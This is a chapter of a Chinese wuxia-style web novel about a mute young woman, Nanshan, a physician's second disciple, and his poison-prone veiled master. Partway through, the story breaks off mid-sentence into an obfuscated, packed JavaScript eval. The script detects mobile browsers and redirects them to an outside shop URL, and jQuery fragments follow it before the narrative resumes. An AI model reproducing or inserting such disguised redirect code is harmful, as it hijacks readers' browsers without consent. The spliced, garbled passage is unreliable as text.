关于他为自己起名为“淡”南衫觉得非常合适不过了。
是真的,真的很是不过,希望他这个人真的如他自己起的名字一样“淡”或者是镇定一点啊……
“额……”二师兄神色不好意思地看向南衫,视线在她脸上来回地扫动,声音微颤地问:“你还好吧?”
真不是他故意啊,一见到那家伙他就无法……控制啊。
南衫摸了摸自己的额头,只是这里被轻轻磕碰一下。
她摇头表示自己没事,还好她身手敏捷,不然就被他身上那些工具给砸中了。
“实在不好意思……”二师兄一边从箱子里拿出东西一边说。
“山上就是蛇虫多的地方,之前被蛇咬过,师父说要截肢来的,虽然后面说是开玩笑,不过,师父当时拿的那些工具,看得我心慌慌,所以现在看到蛇就有些过激。”
如果是这个原因的话,南衫还是能理解的,不过,像他那样乱打能到死蛇吗?
没有别人的话还好,要是带着病者的话,还没带回去疗伤就已经被他打残了吧。
“虽然看你好像没有伤到哪里,这个还是给你吧,要是确实有挨到的地方,就用这个揉一揉吧,是按照师父的配方制作的,但是因为反响说有些刺痛感,我就将其中的一种药草换了。”
“这个是改良版的,会温和些,不过见效还是一样的,”二师兄说完递给了南衫。
南衫还想着不要的,可前来看病的人越来越多,他也没等她回话就坐下来为其看病了。
再看完第二个病人后,南衫就表示自己要回客栈一趟,二师兄点头表示自己知道后,南衫便走了。
南衫随便找了个地方坐了下来,良久后,为了圆谎,她走进一间店铺里随便买了些东西就回去了。
望着还在忙碌的二师兄,南衫把东西放在一旁,竖在旁边的墙上,静等着他瞧完病。
这么一等,直到太阳落山后才结束。
在南衫回来后没多久,二师兄余光就瞄到她了,本想叫她回去先的,可病人不舒服的地方太多了,说了一大堆的,他都忘记说了。
“啊时候都差不多了,也该回去了,免得天黑回去的话,就不好走了,”二师兄收拾完东西,写了什么地贴在了桌子前。
南衫瞧着那几个字,二师兄解释说道:“今日来的患者比平时要多了些,所以这两三天的就不需要来了,我们回去吧。”
回去后,二师兄趁南衫用膳时,收拾了一下房间,大致能住的下就行,可原本说这些天都不要打扰他的师父,居然把他喊进了房里。
房里弥漫着苏合香的香味,里面身影被三道白色纱幔遮挡模糊,二师兄隔着白色纱幔尊敬地说:“师父叫徒儿来可是有事吩咐。”
“那人,是何许人家?”纱幔里传来清冷冷声音。
二师兄眼帘微垂:“师父,是师兄的朋友。”
“那逆徒?”
二师兄神色不悦:“师兄不是逆徒,还望师父莫要这么说。”
良久,纱幔里传来:“罢,把她赶下山吧。”
“……这么做不好吧,师兄要是知道了,会大发雷霆的。”
“既然选择了出去,你觉得还会回来不成,且,你就不怕她跟他一样吗?”
“……不……徒儿觉得不像,不过,有一点徒儿觉得生疑。”
“怎么,又是谁派来的?唔,说过吧,宁愿杀错也不放过,给她点散骨粉尝尝吧。”
“……师父,你能不能不要动不动就给别人投毒啊,”二师兄望着飘动纱幔,就像看到纱幔里面的人似的,摆出都无语表情来。
“我不喜欢陌生人到我的地盘来,来者杀,”纱幔里面的人声冷冰冰的。
听着这冰渣子的声音,冷得二师兄的汗毛都竖起来,他回想到什么,说:“这位姑娘,或许,你杀不得。”
“杀不得?嗤。”
“今日一同下山时,我发现她……身手有些像师叔,因为当时过于慌张就没有多想些什么,回来的路上越想越觉得不对,方才一想就想到了师叔来。”
“……你怎么好想不想想到他了呢,可是拿了他什么好处,那家伙能拿得出手什么啊。”
二师兄连忙说:“就是觉得一些动作眼熟。”
“像孡钐的话,该不会是……”纱幔里的声音停顿,“他的徒弟吧。”
“师叔有吗?”二师兄想了想,“我从未听师叔说过啊。”
“他岂敢多言呢,生怕我毒死他唯一的徒弟呢,是他自己说漏了嘴,才知道的。”
二师兄刚想要张嘴说些什么,却感觉他前半段的语气中带着一丝兴奋呢,也不知道是不是自己听错。
纱幔里没再传来声音,二师兄心里有种不好的预感,他开口问道:“师父,你该不会在想着什么坏主意吧。”
纱幔里传来低沉的笑声,二师兄骤然感觉一冷。
“更好玩的事儿主动送上门来了,岂有不玩的道理呢。”
听着他师父的这句话,二师兄心头很不妙地说:“师父,还请你不要妄动,这是师兄的客人,我们应该礼仪相待。”
“那人不是你师兄的客人,而是我的。”
二师兄不明。
“依你师兄的聪慧,即使眼睛瞎了,但,这种事情一闻就能闻得出来,岂会把她介绍来这里呢,他可安不了什么好心。”
二师兄:“这……”
“好吧,看来是知道了什么才回来的吧,既然这样,那就,你去瞧瞧吧。”
这话二师兄听着怪怪的,不过也点头应下了,临出去之前,纱幔里的人轻飘来了句不要让我失望。
这可瞬间就打击了二师兄的自信。
一想到待会自己的败样,二师兄就说:“师父,在你说这句话时,不是已经肯定了我会医治不了嘛。”
纱幔里一片沉默,随后,噗嗤声响起:“啊,这么快就领悟了,不错不错。”
二师兄:“……”都无语了,每次都这样,明知道会棘手都不出手相助。
“既然师父都已经看出了病症,那就请师父开药方吧,”二师兄说。
纱幔里的人又静下。
二师兄还站在门前等候,良久了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16769052|190014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都没有任何反应,于是他再问了一遍。
纱幔里的人就开口说:“你总得自己尝试一下,不然,等你师父百年死后,你跪在坟前问不成。”
“……那你倒是出句声啊。”
接下来的事情,也确实如他师父所说的那样,他确实是诊断不出来,只是觉得她的脉搏好奇怪啊,有点不太像是常人之类的。
南衫看着二师兄面露难色,伸出的手收了回来。
虽然被师父打击了一下,但二师兄觉得没有关系,试试总会知道的嘛,然而,这一试,可把他给整冒汗了。
二师兄抹了把额前冒出的汗:“这……这个,”他叹了口气,“抱歉,方才把脉,是我从未遇到过的,我……”
南衫拿过他准备的纸与笔下了下来。
二师兄瞧见略思:“有件事我很想确认是不是,还望姑娘你能说句实话。”
南衫微歪脑袋。
二师兄说:“你是不是我师叔的徒弟?”
南衫神情微愣。
瞧她瞳孔放大,二师兄就觉得自己猜对了。
这种难治之病还得师父出马才行啊。
南衫起初还装糊涂,后来二师兄说,要是她不说实话的话那就很难带她去见师父,于是南衫写下,会对他有什么危害吗?
危害?二师兄抬头看向她,相比师叔,你还是担心你自己比较好吧。
“只要他不出现的话,就暂时不是会有什么危害的,倒是你,我师父看起来对你还是蛮有兴趣的,这是除了师兄以外,你是第一个让他感兴趣的。”
“你们之前见过吗?”二师兄问。
南衫摇头,她都未曾来过岂会认识呢。
“是这样嘛,”二师兄又问,“那你是真的不认识我师兄吗?”
南衫写下不字,又写下与他见过的话来。
二师兄问:“那你还记得你最后一次见我师兄是在哪吗?”
南衫点头。
他又问:“或许,他跟什么人在一起吗?”
南衫想到了黄平,于是点头。
二师兄的眼中的担忧之色转为喜色:“是找到了啊,那就行了,那……你真的要见我师父吗?”
南衫颔首,还写下现在就想见。
二师兄还在犹豫。
——
春风客栈里,段以刚满脸怒火地看向秦伯:“我不是叫你看好他的嘛,怎么人不见了,你还说不知道。”
秦伯垂着头:“对不起老爷,一时没看住。”
“没看住,”段以刚恨铁不成钢地说,“走之前,他可是有什么异常?”
“昨夜,小少爷说知道了回去祭拜不过是借口,所以就——”
“就走了是吗?”段以刚狠狠地刮了秦伯一掌,“你是没有用的废物嘛?难道你就不会反驳嘛,我说了一定要把他看住了,决不能让他走的!!”
“对不起,是老奴没看好小少爷。”
“哼!需要的是一句抱歉嘛,看来你是忘记了规矩了吧,”段以刚示意一旁的人拿出匕首来,“再容下去,我的威严何在!!!”